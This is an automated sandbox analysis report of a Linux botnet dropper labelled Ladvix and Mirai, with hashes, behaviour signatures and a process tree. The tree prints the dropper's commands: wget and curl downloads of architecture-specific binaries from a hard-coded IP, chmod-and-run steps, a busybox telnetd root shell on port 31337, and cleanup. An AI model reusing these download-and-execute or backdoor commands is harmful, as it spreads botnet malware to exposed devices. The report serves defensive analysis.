ladvix | 31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65

Analysis

max time kernel
162s
max time network
170s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
28/06/2026, 01:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
Size 2KB
Sample260628-bkdk5aex7n
SHA256 31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
MD5 0ef4b427dd4d9ca2328593e4c1862f83
SHA1 b62314de6e3017bca0307b3ee1d18e07fabca419
SHA512 6305ec6e4a4ed7d016fc3cc874c2ea080da921cf2c16fb584274cdfe49a90161d9c4e3d2bc87c393d1e9b7300926152bd95e39267d49e81f1b11f559904a5c4a
TLSH
T15241D0F0F8369833B1984038B52D96A53BC78CF705193DB230829D65B22DB9DF069232
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery ladvix mirai infector trojan

Malware Config

Signatures

Family: Ladvix
Ladvix is a linux trojan and file infector first seen in 2022.
trojan infector ladvix
Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

ladvix 1 IoCs

Detects Ladvix payload

resource	yara_rule
behavioral3/files/fstream-5.dat	ladvix

File and Directory Permissions Modification 1 TTPs 40 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
784	chmod
1035	chmod
855	chmod
889	chmod
941	chmod
1024	chmod
739	chmod
912	chmod
980	chmod
1020	chmod
1045	chmod
906	chmod
882	chmod
745	chmod
769	chmod
773	chmod
788	chmod
850	chmod
1054	chmod
761	chmod
936	chmod
985	chmod
1005	chmod
1009	chmod
1015	chmod
1050	chmod
794	chmod
929	chmod
989	chmod
779	chmod
859	chmod
950	chmod
959	chmod
1000	chmod
1030	chmod
1039	chmod
894	chmod
917	chmod
955	chmod
750	chmod

Executes dropped EXE 28 IoCs

ioc	pid	Process
/dev/shm/ohshit.x86	740	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/var/ohshit.x86	747	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.x86.x	752	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.x86_64	762	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.x86_64.x	774	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.i686	780	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.i686.x	789	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.mips	795	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.mpsl	851	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.mpsl.x	860	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arm	883	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.arm.x	895	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arm5	907	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.arm5.x	919	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arm6	930	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.arm6.x	943	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arm7	951	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.arm7.x	960	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.ppc	981	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.ppc.x	990	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.m68k	1001	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.m68k.x	1010	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.sh4	1016	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.sh4.x	1025	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arc	1031	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.arc.x	1040	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.spc	1046	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.spc.x	1055	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ohshit.mips
File opened for modification	/dev/misc/watchdog	ohshit.mips

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	ohshit.mips
File opened for modification	/bin/watchdog	ohshit.mips

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/2/status	ohshit.mips
File opened for reading	/proc/10/status	ohshit.mips
File opened for reading	/proc/22/status	ohshit.mips
File opened for reading	/proc/674/status	ohshit.mips
File opened for reading	/proc/727/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/9/status	ohshit.mips
File opened for reading	/proc/15/status	ohshit.mips
File opened for reading	/proc/380/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/756/cmdline	ohshit.mips
File opened for reading	/proc/16/status	ohshit.mips
File opened for reading	/proc/76/status	ohshit.mips
File opened for reading	/proc/81/status	ohshit.mips
File opened for reading	/proc/679/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/4/status	ohshit.mips
File opened for reading	/proc/23/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/363/cmdline	ohshit.mips
File opened for reading	/proc/366/status	ohshit.mips
File opened for reading	/proc/756/status	ohshit.mips
File opened for reading	/proc/79/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/704/cmdline	ohshit.mips
File opened for reading	/proc/70/status	ohshit.mips
File opened for reading	/proc/125/status	ohshit.mips
File opened for reading	/proc/797/status	ohshit.mips
File opened for reading	/proc/389/cmdline	ohshit.mips
File opened for reading	/proc/20/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/679/cmdline	ohshit.mips
File opened for reading	/proc/677/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/361/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/361/cmdline	ohshit.mips
File opened for reading	/proc/12/status	ohshit.mips
File opened for reading	/proc/109/status	ohshit.mips
File opened for reading	/proc/712/status	ohshit.mips
File opened for reading	/proc/798/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/382/cmdline	ohshit.mips
File opened for reading	/proc/13/status	ohshit.mips
File opened for reading	/proc/77/status	ohshit.mips
File opened for reading	/proc/245/status	ohshit.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/727/cmdline	ohshit.mips
File opened for reading	/proc/11/status	ohshit.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/72/status	ohshit.mips
File opened for reading	/proc/661/status	ohshit.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/157/cmdline	ohshit.mips
File opened for reading	/proc/380/cmdline	ohshit.mips

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
755	sh
776	sh
793	wget
883	ohshit.arm
851	ohshit.mpsl
1051	ohshit.spc
1016	ohshit.sh4
785	ohshit.i686
943	ohshit.arm6.x
945	sh
1012	sh
871	curl
791	sh
862	sh
1057	sh
870	busybox
747	ohshit.x86
795	ohshit.mips
986	ohshit.ppc
990	ohshit.ppc.x
919	ohshit.arm5.x
1036	ohshit.arc
1046	ohshit.spc
874	busybox
1027	sh
1031	ohshit.arc
867	busybox
740	ohshit.x86
774	ohshit.x86_64.x
890	ohshit.arm
1040	ohshit.arc.x
864	wget
1010	ohshit.m68k.x
780	ohshit.i686
937	ohshit.arm6
865	busybox
868	rm
895	ohshit.arm.x
898	sh
914	ohshit.arm5
1006	ohshit.m68k
752	ohshit.x86.x
770	ohshit.x86_64
860	ohshit.mpsl.x
921	sh
992	sh
1025	ohshit.sh4.x
1042	sh
869	wget
789	ohshit.i686.x
856	ohshit.mpsl
875	rm
962	sh
1001	ohshit.m68k
762	ohshit.x86_64
866	curl
951	ohshit.arm7
981	ohshit.ppc
930	ohshit.arm6
956	ohshit.arm7
847	rm
907	ohshit.arm5
960	ohshit.arm7.x
1055	ohshit.spc.x

Writes file to shm directory 22 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/ohshit.x86	wget
File opened for modification	/dev/shm/ohshit.mpsl	wget
File opened for modification	/dev/shm/ohshit.arm	wget
File opened for modification	/dev/shm/ohshit.armv7l	wget
File opened for modification	/dev/shm/ohshit.ppc64	wget
File opened for modification	/dev/shm/ohshit.sh4	wget
File opened for modification	/dev/shm/ohshit.arc	wget
File opened for modification	/dev/shm/ohshit.i686	wget
File opened for modification	/dev/shm/ohshit.mips64	wget
File opened for modification	/dev/shm/ohshit.arm5	wget
File opened for modification	/dev/shm/ohshit.ppc	wget
File opened for modification	/dev/shm/ohshit.riscv64	wget
File opened for modification	/dev/shm/.w	touch
File opened for modification	/dev/shm/ohshit.mips	wget
File opened for modification	/dev/shm/ohshit.mipsel	wget
File opened for modification	/dev/shm/ohshit.arm7	wget
File opened for modification	/dev/shm/ohshit.arm64	wget
File opened for modification	/dev/shm/ohshit.m68k	wget
File opened for modification	/dev/shm/ohshit.spc	wget
File opened for modification	/dev/shm/ohshit.x86_64	wget
File opened for modification	/dev/shm/ohshit.arm6	wget
File opened for modification	/dev/shm/ohshit.armv4l	wget

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ohshit.arc.x	cp
File opened for modification	/tmp/ohshit.x86_64.x	cp
File opened for modification	/tmp/ohshit.i686.x	cp
File opened for modification	/tmp/ohshit.arm7.x	cp
File opened for modification	/tmp/ohshit.sh4.x	cp
File opened for modification	/tmp/ohshit.spc.x	cp
File opened for modification	/tmp/ohshit.x86.x	cp
File opened for modification	/tmp/ohshit.mpsl.x	cp
File opened for modification	/tmp/ohshit.arm.x	cp
File opened for modification	/tmp/ohshit.arm5.x	cp
File opened for modification	/tmp/ohshit.arm6.x	cp
File opened for modification	/tmp/ohshit.ppc.x	cp
File opened for modification	/tmp/ohshit.m68k.x	cp

/tmp/31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
1⤵
- Executes dropped EXE
PID:713
- /usr/bin/touch
  touch /dev/shm/.w
  2⤵
  - Writes file to shm directory
  PID:716
- /bin/rm
  rm -f /dev/shm/.w
  2⤵
  PID:718
- /bin/busybox
  busybox telnetd -l /bin/sh -p 31337
  2⤵
  PID:720
- /usr/bin/which
  which dropbear
  2⤵
  PID:724
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x86
  2⤵
  - Writes file to shm directory
  PID:723
- /bin/chmod
  chmod +x ohshit.x86
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /dev/shm/ohshit.x86
  ./ohshit.x86 routers
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/cp
  cp ohshit.x86 /dev/shm/ohshit.x86
  2⤵
  PID:742
- /bin/cp
  cp ohshit.x86 /var/ohshit.x86
  2⤵
  - Reads runtime system information
  PID:744
- /bin/chmod
  chmod +x /var/ohshit.x86
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /var/ohshit.x86
  /var/ohshit.x86 routers
  2⤵
  - System Network Configuration Discovery
  PID:747
- /bin/cp
  cp ohshit.x86 /tmp/ohshit.x86.x
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod +x /tmp/ohshit.x86.x
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/ohshit.x86.x
  /tmp/ohshit.x86.x routers
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/sh
  sh ohshit.x86 routers
  2⤵
  - System Network Configuration Discovery
  PID:755
- /bin/rm
  rm -f ohshit.x86 /dev/shm/ohshit.x86 /var/ohshit.x86 /tmp/ohshit.x86.x
  2⤵
  PID:757
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_64
  2⤵
  - Writes file to shm directory
  PID:758
- /bin/chmod
  chmod +x ohshit.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /dev/shm/ohshit.x86_64
  ./ohshit.x86_64 routers
  2⤵
  - System Network Configuration Discovery
  PID:762
- /bin/cp
  cp ohshit.x86_64 /dev/shm/ohshit.x86_64
  2⤵
  - Reads runtime system information
  PID:764
- /bin/cp
  cp ohshit.x86_64 /var/ohshit.x86_64
  2⤵
  PID:765
- /bin/chmod
  chmod +x /var/ohshit.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /var/ohshit.x86_64
  /var/ohshit.x86_64 routers
  2⤵
  - System Network Configuration Discovery
  PID:770
- /bin/cp
  cp ohshit.x86_64 /tmp/ohshit.x86_64.x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod +x /tmp/ohshit.x86_64.x
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/ohshit.x86_64.x
  /tmp/ohshit.x86_64.x routers
  2⤵
  - System Network Configuration Discovery
  PID:774
- /bin/sh
  sh ohshit.x86_64 routers
  2⤵
  - System Network Configuration Discovery
  PID:776
- /bin/rm
  rm -f ohshit.x86_64 /dev/shm/ohshit.x86_64 /var/ohshit.x86_64 /tmp/ohshit.x86_64.x
  2⤵
  PID:777
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i686
  2⤵
  - Writes file to shm directory
  PID:778
- /bin/chmod
  chmod +x ohshit.i686
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /dev/shm/ohshit.i686
  ./ohshit.i686 routers
  2⤵
  - System Network Configuration Discovery
  PID:780
- /bin/cp
  cp ohshit.i686 /dev/shm/ohshit.i686
  2⤵
  PID:782
- /bin/cp
  cp ohshit.i686 /var/ohshit.i686
  2⤵
  - Reads runtime system information
  PID:783
- /bin/chmod
  chmod +x /var/ohshit.i686
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /var/ohshit.i686
  /var/ohshit.i686 routers
  2⤵
  - System Network Configuration Discovery
  PID:785
- /bin/cp
  cp ohshit.i686 /tmp/ohshit.i686.x
  2⤵
  - Writes file to tmp directory
  PID:787
- /bin/chmod
  chmod +x /tmp/ohshit.i686.x
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/ohshit.i686.x
  /tmp/ohshit.i686.x routers
  2⤵
  - System Network Configuration Discovery
  PID:789
- /bin/sh
  sh ohshit.i686 routers
  2⤵
  - System Network Configuration Discovery
  PID:791
- /bin/rm
  rm -f ohshit.i686 /dev/shm/ohshit.i686 /var/ohshit.i686 /tmp/ohshit.i686.x
  2⤵
  PID:792
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:793
- /bin/chmod
  chmod +x ohshit.mips
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /dev/shm/ohshit.mips
  ./ohshit.mips routers
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:795
- /bin/rm
  rm -f ohshit.mips /dev/shm/ohshit.mips /var/ohshit.mips /tmp/ohshit.mips.x
  2⤵
  - System Network Configuration Discovery
  PID:847
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl
  2⤵
  - Writes file to shm directory
  PID:849
- /bin/chmod
  chmod +x ohshit.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /dev/shm/ohshit.mpsl
  ./ohshit.mpsl routers
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/cp
  cp ohshit.mpsl /dev/shm/ohshit.mpsl
  2⤵
  - Reads runtime system information
  PID:853
- /bin/cp
  cp ohshit.mpsl /var/ohshit.mpsl
  2⤵
  PID:854
- /bin/chmod
  chmod +x /var/ohshit.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /var/ohshit.mpsl
  /var/ohshit.mpsl routers
  2⤵
  - System Network Configuration Discovery
  PID:856
- /bin/cp
  cp ohshit.mpsl /tmp/ohshit.mpsl.x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/chmod
  chmod +x /tmp/ohshit.mpsl.x
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/ohshit.mpsl.x
  /tmp/ohshit.mpsl.x routers
  2⤵
  - System Network Configuration Discovery
  PID:860
- /bin/sh
  sh ohshit.mpsl routers
  2⤵
  - System Network Configuration Discovery
  PID:862
- /bin/rm
  rm -f ohshit.mpsl /dev/shm/ohshit.mpsl /var/ohshit.mpsl /tmp/ohshit.mpsl.x
  2⤵
  PID:863
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.mips64 http://192.142.28.77/bachekuni/ohshit.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:864
- /bin/busybox
  busybox wget -q -O ohshit.mips64 http://192.142.28.77/bachekuni/ohshit.mips64
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/curl
  curl -fsSLk -o ohshit.mips64 http://192.142.28.77/bachekuni/ohshit.mips64
  2⤵
  - System Network Configuration Discovery
  PID:866
- /bin/busybox
  busybox curl -fsSLk -o ohshit.mips64 http://192.142.28.77/bachekuni/ohshit.mips64
  2⤵
  - System Network Configuration Discovery
  PID:867
- /bin/rm
  rm -f ohshit.mips64 /dev/shm/ohshit.mips64 /var/ohshit.mips64 /tmp/ohshit.mips64.x
  2⤵
  - System Network Configuration Discovery
  PID:868
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.mipsel http://192.142.28.77/bachekuni/ohshit.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:869
- /bin/busybox
  busybox wget -q -O ohshit.mipsel http://192.142.28.77/bachekuni/ohshit.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:870
- /usr/bin/curl
  curl -fsSLk -o ohshit.mipsel http://192.142.28.77/bachekuni/ohshit.mipsel
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:871
- /bin/busybox
  busybox curl -fsSLk -o ohshit.mipsel http://192.142.28.77/bachekuni/ohshit.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:874
- /bin/rm
  rm -f ohshit.mipsel /dev/shm/ohshit.mipsel /var/ohshit.mipsel /tmp/ohshit.mipsel.x
  2⤵
  - System Network Configuration Discovery
  PID:875
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm
  2⤵
  - Writes file to shm directory
  PID:876
- /bin/chmod
  chmod +x ohshit.arm
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /dev/shm/ohshit.arm
  ./ohshit.arm routers
  2⤵
  - System Network Configuration Discovery
  PID:883
- /bin/cp
  cp ohshit.arm /dev/shm/ohshit.arm
  2⤵
  - Reads runtime system information
  PID:886
- /bin/cp
  cp ohshit.arm /var/ohshit.arm
  2⤵
  - Reads runtime system information
  PID:887
- /bin/chmod
  chmod +x /var/ohshit.arm
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /var/ohshit.arm
  /var/ohshit.arm routers
  2⤵
  - System Network Configuration Discovery
  PID:890
- /bin/cp
  cp ohshit.arm /tmp/ohshit.arm.x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/chmod
  chmod +x /tmp/ohshit.arm.x
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/ohshit.arm.x
  /tmp/ohshit.arm.x routers
  2⤵
  - System Network Configuration Discovery
  PID:895
- /bin/sh
  sh ohshit.arm routers
  2⤵
  - System Network Configuration Discovery
  PID:898
- /bin/rm
  rm -f ohshit.arm /dev/shm/ohshit.arm /var/ohshit.arm /tmp/ohshit.arm.x
  2⤵
  PID:900
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm5
  2⤵
  - Writes file to shm directory
  PID:901
- /bin/chmod
  chmod +x ohshit.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /dev/shm/ohshit.arm5
  ./ohshit.arm5 routers
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/cp
  cp ohshit.arm5 /dev/shm/ohshit.arm5
  2⤵
  PID:909
- /bin/cp
  cp ohshit.arm5 /var/ohshit.arm5
  2⤵
  PID:911
- /bin/chmod
  chmod +x /var/ohshit.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /var/ohshit.arm5
  /var/ohshit.arm5 routers
  2⤵
  - System Network Configuration Discovery
  PID:914
- /bin/cp
  cp ohshit.arm5 /tmp/ohshit.arm5.x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/chmod
  chmod +x /tmp/ohshit.arm5.x
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/ohshit.arm5.x
  /tmp/ohshit.arm5.x routers
  2⤵
  - System Network Configuration Discovery
  PID:919
- /bin/sh
  sh ohshit.arm5 routers
  2⤵
  - System Network Configuration Discovery
  PID:921
- /bin/rm
  rm -f ohshit.arm5 /dev/shm/ohshit.arm5 /var/ohshit.arm5 /tmp/ohshit.arm5.x
  2⤵
  PID:923
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm6
  2⤵
  - Writes file to shm directory
  PID:924
- /bin/chmod
  chmod +x ohshit.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /dev/shm/ohshit.arm6
  ./ohshit.arm6 routers
  2⤵
  - System Network Configuration Discovery
  PID:930
- /bin/cp
  cp ohshit.arm6 /dev/shm/ohshit.arm6
  2⤵
  PID:932
- /bin/cp
  cp ohshit.arm6 /var/ohshit.arm6
  2⤵
  PID:934
- /bin/chmod
  chmod +x /var/ohshit.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /var/ohshit.arm6
  /var/ohshit.arm6 routers
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/cp
  cp ohshit.arm6 /tmp/ohshit.arm6.x
  2⤵
  - Writes file to tmp directory
  PID:940
- /bin/chmod
  chmod +x /tmp/ohshit.arm6.x
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/ohshit.arm6.x
  /tmp/ohshit.arm6.x routers
  2⤵
  - System Network Configuration Discovery
  PID:943
- /bin/sh
  sh ohshit.arm6 routers
  2⤵
  - System Network Configuration Discovery
  PID:945
- /bin/rm
  rm -f ohshit.arm6 /dev/shm/ohshit.arm6 /var/ohshit.arm6 /tmp/ohshit.arm6.x
  2⤵
  PID:946
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm7
  2⤵
  - Writes file to shm directory
  PID:948
- /bin/chmod
  chmod +x ohshit.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /dev/shm/ohshit.arm7
  ./ohshit.arm7 routers
  2⤵
  - System Network Configuration Discovery
  PID:951
- /bin/cp
  cp ohshit.arm7 /dev/shm/ohshit.arm7
  2⤵
  PID:953
- /bin/cp
  cp ohshit.arm7 /var/ohshit.arm7
  2⤵
  - Reads runtime system information
  PID:954
- /bin/chmod
  chmod +x /var/ohshit.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /var/ohshit.arm7
  /var/ohshit.arm7 routers
  2⤵
  - System Network Configuration Discovery
  PID:956
- /bin/cp
  cp ohshit.arm7 /tmp/ohshit.arm7.x
  2⤵
  - Writes file to tmp directory
  PID:958
- /bin/chmod
  chmod +x /tmp/ohshit.arm7.x
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/ohshit.arm7.x
  /tmp/ohshit.arm7.x routers
  2⤵
  - System Network Configuration Discovery
  PID:960
- /bin/sh
  sh ohshit.arm7 routers
  2⤵
  - System Network Configuration Discovery
  PID:962
- /bin/rm
  rm -f ohshit.arm7 /dev/shm/ohshit.arm7 /var/ohshit.arm7 /tmp/ohshit.arm7.x
  2⤵
  PID:963
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm64 http://192.142.28.77/bachekuni/ohshit.arm64
  2⤵
  - Writes file to shm directory
  PID:964
- /bin/busybox
  busybox wget -q -O ohshit.arm64 http://192.142.28.77/bachekuni/ohshit.arm64
  2⤵
  PID:965
- /usr/bin/curl
  curl -fsSLk -o ohshit.arm64 http://192.142.28.77/bachekuni/ohshit.arm64
  2⤵
  PID:966
- /bin/busybox
  busybox curl -fsSLk -o ohshit.arm64 http://192.142.28.77/bachekuni/ohshit.arm64
  2⤵
  PID:967
- /bin/rm
  rm -f ohshit.arm64 /dev/shm/ohshit.arm64 /var/ohshit.arm64 /tmp/ohshit.arm64.x
  2⤵
  PID:968
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.armv4l http://192.142.28.77/bachekuni/ohshit.armv4l
  2⤵
  - Writes file to shm directory
  PID:969
- /bin/busybox
  busybox wget -q -O ohshit.armv4l http://192.142.28.77/bachekuni/ohshit.armv4l
  2⤵
  PID:970
- /usr/bin/curl
  curl -fsSLk -o ohshit.armv4l http://192.142.28.77/bachekuni/ohshit.armv4l
  2⤵
  PID:971
- /bin/busybox
  busybox curl -fsSLk -o ohshit.armv4l http://192.142.28.77/bachekuni/ohshit.armv4l
  2⤵
  PID:972
- /bin/rm
  rm -f ohshit.armv4l /dev/shm/ohshit.armv4l /var/ohshit.armv4l /tmp/ohshit.armv4l.x
  2⤵
  PID:973
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.armv7l http://192.142.28.77/bachekuni/ohshit.armv7l
  2⤵
  - Writes file to shm directory
  PID:974
- /bin/busybox
  busybox wget -q -O ohshit.armv7l http://192.142.28.77/bachekuni/ohshit.armv7l
  2⤵
  PID:975
- /usr/bin/curl
  curl -fsSLk -o ohshit.armv7l http://192.142.28.77/bachekuni/ohshit.armv7l
  2⤵
  PID:976
- /bin/busybox
  busybox curl -fsSLk -o ohshit.armv7l http://192.142.28.77/bachekuni/ohshit.armv7l
  2⤵
  PID:977
- /bin/rm
  rm -f ohshit.armv7l /dev/shm/ohshit.armv7l /var/ohshit.armv7l /tmp/ohshit.armv7l.x
  2⤵
  PID:978
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc
  2⤵
  - Writes file to shm directory
  PID:979
- /bin/chmod
  chmod +x ohshit.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /dev/shm/ohshit.ppc
  ./ohshit.ppc routers
  2⤵
  - System Network Configuration Discovery
  PID:981
- /bin/cp
  cp ohshit.ppc /dev/shm/ohshit.ppc
  2⤵
  PID:983
- /bin/cp
  cp ohshit.ppc /var/ohshit.ppc
  2⤵
  - Reads runtime system information
  PID:984
- /bin/chmod
  chmod +x /var/ohshit.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /var/ohshit.ppc
